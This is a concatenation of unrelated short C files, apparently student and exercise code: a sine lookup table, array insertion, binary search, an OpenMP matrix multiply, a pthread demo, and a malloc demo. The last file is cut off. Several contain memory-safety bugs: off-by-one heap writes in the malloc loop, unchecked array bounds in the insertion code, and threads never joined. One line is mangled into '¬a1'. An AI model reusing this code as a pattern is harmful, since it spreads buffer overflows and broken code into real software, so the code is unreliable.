0xd00, 0xcff, 0xcfe, 0xcfd, 0xcfc, 0xcfa, 0xcf9, 0xcf8, 0xcf7,
0xcf6, 0xcf5, 0xcf3, 0xcf2, 0xcf1, 0xcf0, 0xcef, 0xced, 0xcec,
0xceb, 0xcea, 0xce9, 0xce8, 0xce6, 0xce5, 0xce4, 0xce3, 0xce2,
0xce0, 0xcdf, 0xcde, 0xcdd, 0xcdc, 0xcdb, 0xcd9, 0xcd8, 0xcd7,
0xcd6, 0xcd5, 0xcd3, 0xcd2, 0xcd1, 0xcd0, 0xccf, 0xccd, 0xccc,
0xccb, 0xcca, 0xcc9, 0xcc7, 0xcc6, 0xcc5, 0xcc4, 0xcc3, 0xcc1,
0xcc0, 0xcbf, 0xcbe, 0xcbd, 0xcbb, 0xcba, 0xcb9, 0xcb8, 0xcb6,
0xcb5, 0xcb4, 0xcb3, 0xcb2, 0xcb0, 0xcaf, 0xcae, 0xcad, 0xcab,
0xcaa, 0xca9, 0xca8, 0xca7, 0xca5, 0xca4, 0xca3, 0xca2, 0xca0,
0xc9f, 0xc9e, 0xc9d, 0xc9c, 0xc9a, 0xc99, 0xc98, 0xc97, 0xc95,
0xc94, 0xc93, 0xc92, 0xc90, 0xc8f, 0xc8e, 0xc8d, 0xc8b, 0xc8a,
0xc89, 0xc88, 0xc87, 0xc85, 0xc84, 0xc83, 0xc82, 0xc80, 0xc7f,
0xc7e, 0xc7d, 0xc7b, 0xc7a, 0xc79, 0xc78, 0xc76, 0xc75, 0xc74,
0xc73, 0xc71, 0xc70, 0xc6f, 0xc6d, 0xc6c, 0xc6b, 0xc6a, 0xc68,
0xc67, 0xc66, 0xc65, 0xc63, 0xc62, 0xc61, 0xc60, 0xc5e, 0xc5d,
0xc5c, 0xc5a, 0xc59, 0xc58, 0xc57, 0xc55, 0xc54, 0xc53, 0xc52,
0xc50, 0xc4f, 0xc4e, 0xc4c, 0xc4b, 0xc4a, 0xc49, 0xc47, 0xc46,
0xc45, 0xc44, 0xc42, 0xc41, 0xc40, 0xc3e, 0xc3d, 0xc3c, 0xc3a,
0xc39, 0xc38, 0xc37, 0xc35, 0xc34, 0xc33, 0xc31, 0xc30, 0xc2f,
0xc2e, 0xc2c, 0xc2b, 0xc2a, 0xc28, 0xc27, 0xc26, 0xc24, 0xc23,
0xc22, 0xc21, 0xc1f, 0xc1e, 0xc1d, 0xc1b, 0xc1a, 0xc19, 0xc17,
0xc16, 0xc15, 0xc13, 0xc12, 0xc11, 0xc10, 0xc0e, 0xc0d, 0xc0c,
0xc0a, 0xc09, 0xc08, 0xc06, 0xc05, 0xc04, 0xc02, 0xc01, 0xc00,
0xbfe, 0xbfd, 0xbfc, 0xbfa, 0xbf9, 0xbf8, 0xbf6, 0xbf5, 0xbf4,
0xbf2, 0xbf1, 0xbf0, 0xbee, 0xbed, 0xbec, 0xbea, 0xbe9, 0xbe8,
0xbe6, 0xbe5, 0xbe4, 0xbe2, 0xbe1, 0xbe0, 0xbde, 0xbdd, 0xbdc,
0xbda, 0xbd9, 0xbd8, 0xbd6, 0xbd5, 0xbd4, 0xbd2, 0xbd1, 0xbd0,
0xbce, 0xbcd, 0xbcc, 0xbca, 0xbc9, 0xbc8, 0xbc6, 0xbc5, 0xbc3,
0xbc2, 0xbc1, 0xbbf, 0xbbe, 0xbbd, 0xbbb, 0xbba, 0xbb9, 0xbb7,
0xbb6, 0xbb5, 0xbb3, 0xbb2, 0xbb0, 0xbaf, 0xbae, 0xbac, 0xbab,
0xbaa, 0xba8, 0xba7, 0xba5, 0xba4, 0xba3, 0xba1, 0xba0, 0xb9f,
0xb9d, 0xb9c, 0xb9a, 0xb99, 0xb98, 0xb96, 0xb95, 0xb94, 0xb92,
0xb91, 0xb8f, 0xb8e, 0xb8d, 0xb8b, 0xb8a, 0xb89, 0xb87, 0xb86,
0xb84, 0xb83, 0xb82, 0xb80, 0xb7f, 0xb7d, 0xb7c, 0xb7b, 0xb79,
0xb78, 0xb76, 0xb75, 0xb74, 0xb72, 0xb71, 0xb6f, 0xb6e, 0xb6d,
0xb6b, 0xb6a, 0xb68, 0xb67, 0xb66, 0xb64, 0xb63, 0xb61, 0xb60,
0xb5f, 0xb5d, 0xb5c, 0xb5a, 0xb59, 0xb58, 0xb56, 0xb55, 0xb53,
0xb52, 0xb51, 0xb4f, 0xb4e, 0xb4c, 0xb4b, 0xb49, 0xb48, 0xb47,
0xb45, 0xb44, 0xb42, 0xb41, 0xb40, 0xb3e, 0xb3d, 0xb3b, 0xb3a,
0xb38, 0xb37, 0xb36, 0xb34, 0xb33, 0xb31, 0xb30, 0xb2e, 0xb2d,
0xb2c, 0xb2a, 0xb29, 0xb27, 0xb26, 0xb24, 0xb23, 0xb21, 0xb20,
0xb1f, 0xb1d, 0xb1c, 0xb1a, 0xb19, 0xb17, 0xb16, 0xb15, 0xb13,
0xb12, 0xb10, 0xb0f, 0xb0d, 0xb0c, 0xb0a, 0xb09, 0xb08, 0xb06,
0xb05, 0xb03, 0xb02, 0xb00, 0xaff, 0xafd, 0xafc, 0xafa, 0xaf9,
0xaf8, 0xaf6, 0xaf5, 0xaf3, 0xaf2, 0xaf0, 0xaef, 0xaed, 0xaec,
0xaea, 0xae9, 0xae7, 0xae6, 0xae5, 0xae3, 0xae2, 0xae0, 0xadf,
0xadd, 0xadc, 0xada, 0xad9, 0xad7, 0xad6, 0xad4, 0xad3, 0xad1,
0xad0, 0xacf, 0xacd, 0xacc, 0xaca, 0xac9, 0xac7, 0xac6, 0xac4,
0xac3, 0xac1, 0xac0, 0xabe, 0xabd, 0xabb, 0xaba, 0xab8, 0xab7,
0xab5, 0xab4, 0xab2, 0xab1, 0xaaf, 0xaae, 0xaac, 0xaab, 0xaa9,
0xaa8, 0xaa6, 0xaa5, 0xaa3, 0xaa2, 0xaa0, 0xa9f, 0xa9d, 0xa9c,
0xa9a, 0xa99, 0xa98, 0xa96, 0xa95, 0xa93, 0xa92, 0xa90, 0xa8e,
0xa8d, 0xa8b, 0xa8a, 0xa88, 0xa87, 0xa85, 0xa84, 0xa82, 0xa81,
0xa7f, 0xa7e, 0xa7c, 0xa7b, 0xa79, 0xa78, 0xa76, 0xa75, 0xa73,
0xa72, 0xa70, 0xa6f, 0xa6d, 0xa6c, 0xa6a, 0xa69, 0xa67, 0xa66,
0xa64, 0xa63, 0xa61, 0xa60, 0xa5e, 0xa5d, 0xa5b, 0xa5a, 0xa58,
0xa56, 0xa55, 0xa53, 0xa52, 0xa50, 0xa4f, 0xa4d, 0xa4c, 0xa4a,
0xa49, 0xa47, 0xa46, 0xa44, 0xa43, 0xa41, 0xa3f, 0xa3e, 0xa3c,
0xa3b, 0xa39, 0xa38, 0xa36, 0xa35, 0xa33, 0xa32, 0xa30, 0xa2f,
0xa2d, 0xa2b, 0xa2a, 0xa28, 0xa27, 0xa25, 0xa24, 0xa22, 0xa21,
0xa1f, 0xa1e, 0xa1c, 0xa1a, 0xa19, 0xa17, 0xa16, 0xa14, 0xa13,
0xa11, 0xa10, 0xa0e, 0xa0c, 0xa0b, 0xa09, 0xa08, 0xa06, 0xa05,
0xa03, 0xa02, 0xa00, 0x9fe, 0x9fd, 0x9fb, 0x9fa, 0x9f8, 0x9f7,
0x9f5, 0x9f4, 0x9f2, 0x9f0, 0x9ef, 0x9ed, 0x9ec, 0x9ea, 0x9e9,
0x9e7, 0x9e5, 0x9e4, 0x9e2, 0x9e1, 0x9df, 0x9de, 0x9dc, 0x9da,
0x9d9, 0x9d7, 0x9d6, 0x9d4, 0x9d2, 0x9d1, 0x9cf, 0x9ce, 0x9cc,
0x9cb, 0x9c9, 0x9c7, 0x9c6, 0x9c4, 0x9c3, 0x9c1, 0x9bf, 0x9be,
0x9bc, 0x9bb, 0x9b9, 0x9b8, 0x9b6, 0x9b4, 0x9b3, 0x9b1, 0x9b0,
0x9ae, 0x9ac, 0x9ab, 0x9a9, 0x9a8, 0x9a6, 0x9a4, 0x9a3, 0x9a1,
0x9a0, 0x99e, 0x99c, 0x99b, 0x999, 0x998, 0x996, 0x994, 0x993,
0x991, 0x990, 0x98e, 0x98c, 0x98b, 0x989, 0x988, 0x986, 0x984,
0x983, 0x981, 0x980, 0x97e, 0x97c, 0x97b, 0x979, 0x978, 0x976,
0x974, 0x973, 0x971, 0x96f, 0x96e, 0x96c, 0x96b, 0x969, 0x967,
0x966, 0x964, 0x963, 0x961, 0x95f, 0x95e, 0x95c, 0x95a, 0x959,
0x957, 0x956, 0x954, 0x952, 0x951, 0x94f, 0x94d, 0x94c, 0x94a,
0x949, 0x947, 0x945, 0x944, 0x942, 0x940, 0x93f, 0x93d, 0x93c,
0x93a, 0x938, 0x937, 0x935, 0x933, 0x932, 0x930, 0x92e, 0x92d,
0x92b, 0x92a, 0x928, 0x926, 0x925, 0x923, 0x921, 0x920, 0x91e,
0x91c, 0x91b, 0x919, 0x917, 0x916, 0x914, 0x912, 0x911, 0x90f,
0x90e, 0x90c, 0x90a, 0x909, 0x907, 0x905, 0x904, 0x902, 0x900,
0x8ff, 0x8fd, 0x8fb, 0x8fa, 0x8f8, 0x8f6, 0x8f5, 0x8f3, 0x8f1,
0x8f0, 0x8ee, 0x8ec, 0x8eb, 0x8e9, 0x8e7, 0x8e6, 0x8e4, 0x8e2,
0x8e1, 0x8df, 0x8de, 0x8dc, 0x8da, 0x8d9, 0x8d7, 0x8d5, 0x8d4,
0x8d2, 0x8d0, 0x8ce, 0x8cd, 0x8cb, 0x8c9, 0x8c8, 0x8c6, 0x8c4,
0x8c3, 0x8c1, 0x8bf, 0x8be, 0x8bc, 0x8ba, 0x8b9, 0x8b7, 0x8b5,
0x8b4, 0x8b2, 0x8b0, 0x8af, 0x8ad, 0x8ab, 0x8aa, 0x8a8, 0x8a6,
0x8a5, 0x8a3, 0x8a1, 0x8a0, 0x89e, 0x89c, 0x89a, 0x899, 0x897,
0x895, 0x894, 0x892, 0x890, 0x88f, 0x88d, 0x88b, 0x88a, 0x888,
0x886, 0x885, 0x883, 0x881, 0x87f, 0x87e, 0x87c, 0x87a, 0x879,
0x877, 0x875, 0x874, 0x872, 0x870, 0x86e, 0x86d, 0x86b, 0x869,
0x868, 0x866, 0x864, 0x863, 0x861, 0x85f, 0x85d, 0x85c, 0x85a,
0x858, 0x857, 0x855, 0x853, 0x851, 0x850, 0x84e, 0x84c, 0x84b,
0x849, 0x847, 0x846, 0x844, 0x842, 0x840, 0x83f, 0x83d, 0x83b,
0x83a, 0x838, 0x836, 0x834, 0x833, 0x831, 0x82f, 0x82e, 0x82c,
0x82a, 0x828, 0x827, 0x825, 0x823, 0x821, 0x820, 0x81e, 0x81c,
0x81b, 0x819, 0x817, 0x815, 0x814, 0x812, 0x810, 0x80e, 0x80d,
0x80b, 0x809, 0x808, 0x806, 0x804, 0x802, 0x801, 0x7ff, 0x7fd,
0x7fb, 0x7fa, 0x7f8, 0x7f6, 0x7f5, 0x7f3, 0x7f1, 0x7ef, 0x7ee,
0x7ec, 0x7ea, 0x7e8, 0x7e7, 0x7e5, 0x7e3, 0x7e1, 0x7e0, 0x7de,
0x7dc, 0x7da, 0x7d9, 0x7d7, 0x7d5, 0x7d3, 0x7d2, 0x7d0, 0x7ce,
0x7cc, 0x7cb, 0x7c9, 0x7c7, 0x7c5, 0x7c4, 0x7c2, 0x7c0, 0x7bf,
0x7bd, 0x7bb, 0x7b9, 0x7b7, 0x7b6, 0x7b4, 0x7b2, 0x7b0, 0x7af,
0x7ad, 0x7ab, 0x7a9, 0x7a8, 0x7a6, 0x7a4, 0x7a2, 0x7a1, 0x79f,
0x79d, 0x79b, 0x79a, 0x798, 0x796, 0x794, 0x793, 0x791, 0x78f,
0x78d, 0x78c, 0x78a, 0x788, 0x786, 0x784, 0x783, 0x781, 0x77f,
0x77d, 0x77c, 0x77a, 0x778, 0x776, 0x775, 0x773, 0x771, 0x76f,
0x76e, 0x76c, 0x76a, 0x768, 0x766, 0x765, 0x763, 0x761, 0x75f,
0x75e, 0x75c, 0x75a, 0x758, 0x756, 0x755, 0x753, 0x751, 0x74f,
0x74e, 0x74c, 0x74a, 0x748, 0x746, 0x745, 0x743, 0x741, 0x73f,
0x73e, 0x73c, 0x73a, 0x738, 0x736, 0x735, 0x733, 0x731, 0x72f,
0x72d, 0x72c, 0x72a, 0x728, 0x726, 0x725, 0x723, 0x721, 0x71f,
0x71d, 0x71c, 0x71a, 0x718, 0x716, 0x714, 0x713, 0x711, 0x70f,
0x70d, 0x70b, 0x70a, 0x708, 0x706, 0x704, 0x702, 0x701, 0x6ff,
0x6fd, 0x6fb, 0x6f9, 0x6f8, 0x6f6, 0x6f4, 0x6f2, 0x6f0, 0x6ef,
0x6ed, 0x6eb, 0x6e9, 0x6e7, 0x6e6, 0x6e4, 0x6e2, 0x6e0, 0x6de,
0x6dd, 0x6db, 0x6d9, 0x6d7, 0x6d5, 0x6d4, 0x6d2, 0x6d0, 0x6ce,
0x6cc, 0x6ca, 0x6c9, 0x6c7, 0x6c5, 0x6c3, 0x6c1, 0x6c0, 0x6be,
0x6bc, 0x6ba, 0x6b8, 0x6b7, 0x6b5, 0x6b3, 0x6b1, 0x6af, 0x6ad,
0x6ac, 0x6aa, 0x6a8, 0x6a6, 0x6a4, 0x6a3, 0x6a1, 0x69f, 0x69d,
0x69b, 0x699, 0x698, 0x696, 0x694, 0x692, 0x690, 0x68f, 0x68d,
0x68b, 0x689, 0x687, 0x685, 0x684, 0x682, 0x680, 0x67e, 0x67c,
0x67a, 0x679, 0x677, 0x675, 0x673, 0x671, 0x66f, 0x66e, 0x66c,
0x66a, 0x668, 0x666, 0x664, 0x663, 0x661, 0x65f, 0x65d, 0x65b,
0x659, 0x658, 0x656, 0x654, 0x652, 0x650, 0x64e, 0x64d, 0x64b,
0x649, 0x647, 0x645, 0x643, 0x642, 0x640, 0x63e, 0x63c, 0x63a,
0x638, 0x636, 0x635, 0x633, 0x631, 0x62f, 0x62d, 0x62b, 0x62a,
0x628, 0x626, 0x624, 0x622, 0x620, 0x61f, 0x61d, 0x61b, 0x619,
0x617, 0x615, 0x613, 0x612, 0x610, 0x60e, 0x60c, 0x60a, 0x608,
0x606, 0x605, 0x603, 0x601, 0x5ff, 0x5fd, 0x5fb, 0x5f9, 0x5f8,
0x5f6, 0x5f4, 0x5f2, 0x5f0, 0x5ee, 0x5ec, 0x5eb, 0x5e9, 0x5e7,
0x5e5, 0x5e3, 0x5e1, 0x5df, 0x5de, 0x5dc, 0x5da, 0x5d8, 0x5d6,
0x5d4, 0x5d2, 0x5d1, 0x5cf, 0x5cd, 0x5cb, 0x5c9, 0x5c7, 0x5c5,
0x5c4, 0x5c2, 0x5c0, 0x5be, 0x5bc, 0x5ba, 0x5b8, 0x5b6, 0x5b5,
0x5b3, 0x5b1, 0x5af, 0x5ad, 0x5ab, 0x5a9, 0x5a8, 0x5a6, 0x5a4,
0x5a2, 0x5a0, 0x59e, 0x59c, 0x59a, 0x599, 0x597, 0x595, 0x593,
0x591, 0x58f, 0x58d, 0x58b, 0x58a, 0x588, 0x586, 0x584, 0x582,
0x580, 0x57e, 0x57c, 0x57b, 0x579, 0x577, 0x575, 0x573, 0x571,
0x56f, 0x56d, 0x56b, 0x56a, 0x568, 0x566, 0x564, 0x562, 0x560,
0x55e, 0x55c, 0x55b, 0x559, 0x557, 0x555, 0x553, 0x551, 0x54f,
0x54d, 0x54b, 0x54a, 0x548, 0x546, 0x544, 0x542, 0x540, 0x53e,
0x53c, 0x53a, 0x539, 0x537, 0x535, 0x533, 0x531, 0x52f, 0x52d,
0x52b, 0x529, 0x528, 0x526, 0x524, 0x522, 0x520, 0x51e, 0x51c,
0x51a, 0x518, 0x516, 0x515, 0x513, 0x511, 0x50f, 0x50d, 0x50b,
0x509, 0x507, 0x505, 0x503, 0x502, 0x500, 0x4fe, 0x4fc, 0x4fa,
0x4f8, 0x4f6, 0x4f4, 0x4f2, 0x4f0, 0x4ef, 0x4ed, 0x4eb, 0x4e9,
0x4e7, 0x4e5, 0x4e3, 0x4e1, 0x4df, 0x4dd, 0x4dc, 0x4da, 0x4d8,
0x4d6, 0x4d4, 0x4d2, 0x4d0, 0x4ce, 0x4cc, 0x4ca, 0x4c8, 0x4c7,
0x4c5, 0x4c3, 0x4c1, 0x4bf, 0x4bd, 0x4bb, 0x4b9, 0x4b7, 0x4b5,
0x4b3, 0x4b2, 0x4b0, 0x4ae, 0x4ac, 0x4aa, 0x4a8, 0x4a6, 0x4a4,
0x4a2, 0x4a0, 0x49e, 0x49c, 0x49b, 0x499, 0x497, 0x495, 0x493,
0x491, 0x48f, 0x48d, 0x48b, 0x489, 0x487, 0x485, 0x484, 0x482,
0x480, 0x47e, 0x47c, 0x47a, 0x478, 0x476, 0x474, 0x472, 0x470,
0x46e, 0x46d, 0x46b, 0x469, 0x467, 0x465, 0x463, 0x461, 0x45f,
0x45d, 0x45b, 0x459, 0x457, 0x455, 0x454, 0x452, 0x450, 0x44e,
0x44c, 0x44a, 0x448, 0x446, 0x444, 0x442, 0x440, 0x43e, 0x43c,
0x43a, 0x439, 0x437, 0x435, 0x433, 0x431, 0x42f, 0x42d, 0x42b,
0x429, 0x427, 0x425, 0x423, 0x421, 0x41f, 0x41e, 0x41c, 0x41a,
0x418, 0x416, 0x414, 0x412, 0x410, 0x40e, 0x40c, 0x40a, 0x408,
0x406, 0x404, 0x402, 0x400, 0x3ff, 0x3fd, 0x3fb, 0x3f9, 0x3f7,
0x3f5, 0x3f3, 0x3f1, 0x3ef, 0x3ed, 0x3eb, 0x3e9, 0x3e7, 0x3e5,
0x3e3, 0x3e1, 0x3e0, 0x3de, 0x3dc, 0x3da, 0x3d8, 0x3d6, 0x3d4,
0x3d2, 0x3d0, 0x3ce, 0x3cc, 0x3ca, 0x3c8, 0x3c6, 0x3c4, 0x3c2,
0x3c0, 0x3bf, 0x3bd, 0x3bb, 0x3b9, 0x3b7, 0x3b5, 0x3b3, 0x3b1,
0x3af, 0x3ad, 0x3ab, 0x3a9, 0x3a7, 0x3a5, 0x3a3, 0x3a1, 0x39f,
0x39d, 0x39b, 0x39a, 0x398, 0x396, 0x394, 0x392, 0x390, 0x38e,
0x38c, 0x38a, 0x388, 0x386, 0x384, 0x382, 0x380, 0x37e, 0x37c,
0x37a, 0x378, 0x376, 0x374, 0x373, 0x371, 0x36f, 0x36d, 0x36b,
0x369, 0x367, 0x365, 0x363, 0x361, 0x35f, 0x35d, 0x35b, 0x359,
0x357, 0x355, 0x353, 0x351, 0x34f, 0x34d, 0x34b, 0x349, 0x347,
0x346, 0x344, 0x342, 0x340, 0x33e, 0x33c, 0x33a, 0x338, 0x336,
0x334, 0x332, 0x330, 0x32e, 0x32c, 0x32a, 0x328, 0x326, 0x324,
0x322, 0x320, 0x31e, 0x31c, 0x31a, 0x318, 0x316, 0x315, 0x313,
0x311, 0x30f, 0x30d, 0x30b, 0x309, 0x307, 0x305, 0x303, 0x301,
0x2ff, 0x2fd, 0x2fb, 0x2f9, 0x2f7, 0x2f5, 0x2f3, 0x2f1, 0x2ef,
0x2ed, 0x2eb, 0x2e9, 0x2e7, 0x2e5, 0x2e3, 0x2e1, 0x2df, 0x2de,
0x2dc, 0x2da, 0x2d8, 0x2d6, 0x2d4, 0x2d2, 0x2d0, 0x2ce, 0x2cc,
0x2ca, 0x2c8, 0x2c6, 0x2c4, 0x2c2, 0x2c0, 0x2be, 0x2bc, 0x2ba,
0x2b8, 0x2b6, 0x2b4, 0x2b2, 0x2b0, 0x2ae, 0x2ac, 0x2aa, 0x2a8,
0x2a6, 0x2a4, 0x2a2, 0x2a0, 0x29e, 0x29c, 0x29b, 0x299, 0x297,
0x295, 0x293, 0x291, 0x28f, 0x28d, 0x28b, 0x289, 0x287, 0x285,
0x283, 0x281, 0x27f, 0x27d, 0x27b, 0x279, 0x277, 0x275, 0x273,
0x271, 0x26f, 0x26d, 0x26b, 0x269, 0x267, 0x265, 0x263, 0x261,
0x25f, 0x25d, 0x25b, 0x259, 0x257, 0x255, 0x253, 0x251, 0x24f,
0x24d, 0x24b, 0x249, 0x248, 0x246, 0x244, 0x242, 0x240, 0x23e,
0x23c, 0x23a, 0x238, 0x236, 0x234, 0x232, 0x230, 0x22e, 0x22c,
0x22a, 0x228, 0x226, 0x224, 0x222, 0x220, 0x21e, 0x21c, 0x21a,
0x218, 0x216, 0x214, 0x212, 0x210, 0x20e, 0x20c, 0x20a, 0x208,
0x206, 0x204, 0x202, 0x200, 0x1fe, 0x1fc, 0x1fa, 0x1f8, 0x1f6,
0x1f4, 0x1f2, 0x1f0, 0x1ee, 0x1ec, 0x1ea, 0x1e8, 0x1e6, 0x1e4,
0x1e2, 0x1e0, 0x1de, 0x1dc, 0x1da, 0x1d8, 0x1d6, 0x1d4, 0x1d2,
0x1d0, 0x1cf, 0x1cd, 0x1cb, 0x1c9, 0x1c7, 0x1c5, 0x1c3, 0x1c1,
0x1bf, 0x1bd, 0x1bb, 0x1b9, 0x1b7, 0x1b5, 0x1b3, 0x1b1, 0x1af,
0x1ad, 0x1ab, 0x1a9, 0x1a7, 0x1a5, 0x1a3, 0x1a1, 0x19f, 0x19d,
0x19b, 0x199, 0x197, 0x195, 0x193, 0x191, 0x18f, 0x18d, 0x18b,
0x189, 0x187, 0x185, 0x183, 0x181, 0x17f, 0x17d, 0x17b, 0x179,
0x177, 0x175, 0x173, 0x171, 0x16f, 0x16d, 0x16b, 0x169, 0x167,
0x165, 0x163, 0x161, 0x15f, 0x15d, 0x15b, 0x159, 0x157, 0x155,
0x153, 0x151, 0x14f, 0x14d, 0x14b, 0x149, 0x147, 0x145, 0x143,
0x141, 0x13f, 0x13d, 0x13b, 0x139, 0x137, 0x135, 0x133, 0x131,
0x12f, 0x12d, 0x12b, 0x129, 0x127, 0x125, 0x123, 0x121, 0x11f,
0x11d, 0x11b, 0x119, 0x117, 0x115, 0x113, 0x111, 0x10f, 0x10d,
0x10b, 0x109, 0x107, 0x105, 0x103, 0x101, 0xff, 0xfd, 0xfb,
0xf9, 0xf7, 0xf5, 0xf3, 0xf1, 0xef, 0xed, 0xeb, 0xe9,
0xe7, 0xe5, 0xe3, 0xe1, 0xdf, 0xdd, 0xdb, 0xd9, 0xd7,
0xd5, 0xd3, 0xd1, 0xcf, 0xcd, 0xcb, 0xc9, 0xc7, 0xc5,
0xc3, 0xc1, 0xbf, 0xbd, 0xbb, 0xb9, 0xb7, 0xb5, 0xb3,
0xb1, 0xaf, 0xad, 0xab, 0xa9, 0xa7, 0xa5, 0xa3, 0xa1,
0x9f, 0x9d, 0x9b, 0x99, 0x97, 0x95, 0x93, 0x91, 0x8f,
0x8d, 0x8b, 0x89, 0x87, 0x85, 0x83, 0x81, 0x7f, 0x7d,
0x7b, 0x79, 0x77, 0x75, 0x73, 0x71, 0x6f, 0x6d, 0x6b,
0x69, 0x67, 0x65, 0x63, 0x61, 0x5f, 0x5d, 0x5b, 0x59,
0x57, 0x55, 0x53, 0x51, 0x4f, 0x4d, 0x4b, 0x49, 0x47,
0x45, 0x43, 0x41, 0x3f, 0x3d, 0x3b, 0x39, 0x37, 0x35,
0x33, 0x31, 0x2f, 0x2d, 0x2b, 0x29, 0x27, 0x25, 0x23,
0x21, 0x1f, 0x1d, 0x1b, 0x19, 0x17, 0x15, 0x13, 0x11,
0xf, 0xd, 0xb, 0x9, 0x7, 0x5, 0x3, 0x1, 0x0
};
int ISIN(int theta)
{
theta=(theta/2);
while (theta<0) { theta+=TPI; }
while (theta>TPI) { theta-=TPI; }
if (theta>PI) { return(-sintable[(theta-PI)]); }
else { return(sintable[theta]); }
}
int ICOS(int theta)
{
theta=(theta/2);
theta+=HPI;
while (theta<0) { theta+=TPI; }
while (theta>TPI) { theta-=TPI; }
if (theta>PI) { return(-sintable[(theta-PI)]); }
else { return(sintable[theta]); }
}
|
the_stack_data/104760.c
|
#include <stdio.h>
void main()
{
int array[100], position, c, n, value;
printf("Enter number of elements in array\n");
scanf("%d", &n);
printf("Enter %d elements\n", n);
for (c = 0; c < n; c++)
scanf("%d", &array[c]);
printf("Enter the location where you wish to insert an element\n");
scanf("%d", &position);
printf("Enter the value to insert\n");
scanf("%d", &value);
for (c = n - 1; c >= position - 1; c--)
array[c+1] = array[c];
array[position-1] = value;
printf("Resultant array is\n");
for (c = 0; c <= n; c++)
printf("%d\n", array[c]);
}
|
the_stack_data/90764538.c
|
/* Special Pythagorean triplet
* Problem 9
* A Pythagorean triplet is a set of three natural numbers, a < b < c, for
* which, a2 + b2 = c2 For example, 32 + 42 = 9 + 16 = 25 = 52. There
* exists exactly one Pythagorean triplet for which a + b + c = 1000. Find
* the product abc.*/
#include <stdio.h>
int problem009() {
int i = 0;
int j = 0;
int k = 0;
int flag = 0;
for (i = 1; flag != 1; i++) {
for (j = 1; j < 998; j++) {
for (k = 1; k < 998; k++) {
if (i < j && j < k && (i + j + k) == 1000 && ((i * i) + (j * j) == (k * k))) {
flag = 1;
printf("%d\n", i * j * k);
break;
}
}
}
}
return 0;
}
|
the_stack_data/123026.c
|
#include <stdio.h>
void print_error(const char *str)
{
fprintf(stderr, "%s\n", str);
}
|
the_stack_data/70448972.c
|
#include <stdio.h>
int main()
{
int c, first, last, middle, n, search, array[100];
printf("Enter number of elements\n");
scanf("%d", &n);
printf("Enter %d integers\n", n);
for (c = 0; c < n; c++)
scanf("%d", &array[c]);
printf("Enter value to find\n");
scanf("%d", &search);
first = 0;
last = n - 1;
middle = (first + last) / 2;
printf("%d is the middle location \n", middle);
while (first <= last)
{
if (array[middle] < search)
first = middle + 1;
else if (array[middle] == search)
{
printf("%d found at location %d.\n", search, middle + 1);
break;
}
else
last = middle - 1;
middle = (first + last) / 2;
}
if (first > last)
printf("Not found! %d isn't present in the list.\n", search);
return 0;
}
|
the_stack_data/168891993.c
|
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
int A_row;
int A_col;
int B_row;
int B_col;
int **constructMatrix(int row, int col){
int **matrix = (int **)malloc(sizeof(int *) * row);
for (int i = 0; i < row;i++){
matrix[i] = (int *)malloc(sizeof(int) * col);
}
return matrix;
}
void freeMatrix(int **matrix, int row, int col){
for (int i = 0; i < row;i++){
free(matrix[i]);
}
free(matrix);
}
int main(int argc, char *argv[]){
A_row = atoi(*(argv + 1));
A_col = atoi(*(argv + 2));
B_row = atoi(*(argv + 3));
B_col = atoi(*(argv + 4));
int number_of_threads = atoi(*(argv + 5));
FILE *input = fopen("matrix", "r");
int **A = constructMatrix(A_row, A_col);
int **B = constructMatrix(B_row, B_col);
int **C = constructMatrix(A_row, B_col);
//read A
for (int i = 0; i < A_row;i++){
for (int j = 0; j < A_col;j++){
fscanf(input, "%d", &A[i][j]);
}
}
//read B
for (int i = 0; i < B_row;i++){
for (int j = 0; j < B_col;j++){
fscanf(input, "%d", &B[i][j]);
}
}
fclose(input);
double start_time = omp_get_wtime();
//multiply:
int i, j, k;
int sum;
#pragma omp parallel for shared(A,B,C) private(i,j,k,sum) num_threads(number_of_threads)
for (i = 0; i < A_row;i++){
for (j = 0; j <B_col;j++){
sum = 0;
for (k = 0; k < A_col;k++){
sum += A[i][k] * B[k][j];
}
C[i][j] = sum;
}
}
double end_time = omp_get_wtime();
printf("%s: %g sec.\n", "ijk_optimize_runtime", end_time - start_time);
//output the result to compare with golden result
FILE *out = fopen("ijk_optimize_result", "w");
for (int i = 0; i < A_row;i++){
for (int j = 0; j < B_col;j++){
fprintf(out, "%d ", C[i][j]);
}
fprintf(out, "\n");
}
fprintf(out, "\n");
fclose(out);
freeMatrix(A, A_row, A_col);
freeMatrix(B, B_row, B_col);
freeMatrix(C, A_row, B_col);
return 0;
}
|
the_stack_data/150139977.c
|
int __dummy__(void) { return 4; }
|
the_stack_data/64893.c
|
#include<stdio.h>
int main()
{
float nota1, nota2, media;
printf("\n Informe as duas notas obtidas: ");
scanf("%f %f", ¬a1, ¬a2);
media = (nota1+nota2)/2;
if(media >= 7.0) printf("\n Aprovado");
else printf("\n Reprovado");
}
|
the_stack_data/159515470.c
|
#include <pthread.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t iMutex = PTHREAD_MUTEX_INITIALIZER;
int ans = 0;
void *threadDo(void *arg)
{
printf("come into the threadDo function\n");
//int num = *((int *)arg);
//printf("num %d\n", num);
pthread_mutex_lock(&mutex);
ans++;
pthread_mutex_unlock(&mutex);
pthread_exit(0);
}
int main()
{
int numThread = 2;
pthread_t *ptr = (pthread_t *)malloc(sizeof(pthread_t) * numThread);
printf("numThread is %d\n", numThread);
for (int i = 0; i < numThread; i++) {
printf("address ptr is %d\n", &ptr[i]);
pthread_create(&ptr[i], NULL, threadDo, NULL);
}
//for (int i = 0; i < numThread; i++) {
// pthread_join(ptr[i], NULL);
//}
free(ptr);
printf("after initial is %d\n", ans);
return 0;
}
|
the_stack_data/3261906.c
|
#include <stdio.h>
#include <stdlib.h>
int main() {
int n, i, *ptr=NULL , sum = 0;
printf("Enter number of elements: ");
scanf("%d", &n);
ptr = (int *) malloc(n * sizeof(int));
if(ptr == NULL) {
printf("Error! memory not allocated.");
exit(0);
}
printf("Enter elements: ");
for(i = 0; i <= n; ++i) {
scanf("%d",&ptr[i]);
// sum += *(ptr + i);
}
for(i = 0; i <= n; ++i) {
printf("%d\n",ptr[i]);
// sum += *(ptr + i);
}
// printf("Sum = %d", sum);
free(ptr);
return 0;
}
|
the_stack_data/97011796.c
|
#include <stdio.h>
const int L = 3, C = 2;
void lerMatriz(float [L][C]);
void escreverMatriz(float [L][C]);
int main(void) {
float matriz[L][C];
lerMatriz(matriz);
escreverMatriz(matriz);
